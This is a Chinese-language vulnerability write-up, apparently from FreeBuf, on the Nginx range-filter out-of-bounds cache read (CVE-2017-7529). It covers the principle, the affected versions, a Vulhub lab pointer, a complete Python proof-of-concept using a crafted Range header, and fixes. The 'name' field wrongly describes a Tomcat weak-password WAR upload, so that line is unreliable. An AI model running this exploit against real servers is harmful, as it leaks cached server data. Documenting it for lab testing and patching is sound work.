Nginx越界读取缓存漏洞(CVE-2017-7529)
Nginx越界读取缓存漏洞(CVE-2017-7529) - FreeBuf网络安全行业门户
1、介绍
名称:tomcat后台弱口令war包上传部署
编号:CVE-2017-7529
原理:HTTP的range头可以指定start和end的值,然后返回请求文件指定大小的内容。对于一般文件而言,range域无论怎样设置都不会有什么问题,但是对于缓存文件而言,它还包含了额外的头部信息(服务端信息),因此如果start值被设置为负值时就有可能读取到缓存文件的头部。
应用:nginx
版本:0.5.6 - 1.13.2
2、测试
2.1 靶场搭建
2.2 poc
Vulhub - Docker-Compose file for vulnerability environment
Nginx range 过滤器整形溢出漏洞 (CVE–2017–7529)预警分析 - 360CERT
(1)poc.py
#poc源码
#!/usr/bin/env python
import sys
import requests
if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://192.168.0.15:8080/" % (sys.argv[0]))
sys.exit()
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
#偏移值,以HTTP返回包体处为起点(相当于0)
offset = 605
url = sys.argv[1]
#获取HTTP返回包体的长度
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
#网上他人的源码分析来看需要将Range设置为:Range: bytes=-X,-Y;X的值可设的比HTTP返回包体长度大一些,且要小于Y的值
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)
r = requests.get(url, headers=headers)
print(r.text)
(2)执行
3、漏洞修复
升级Nginx,打补丁
关闭Nginx代理缓存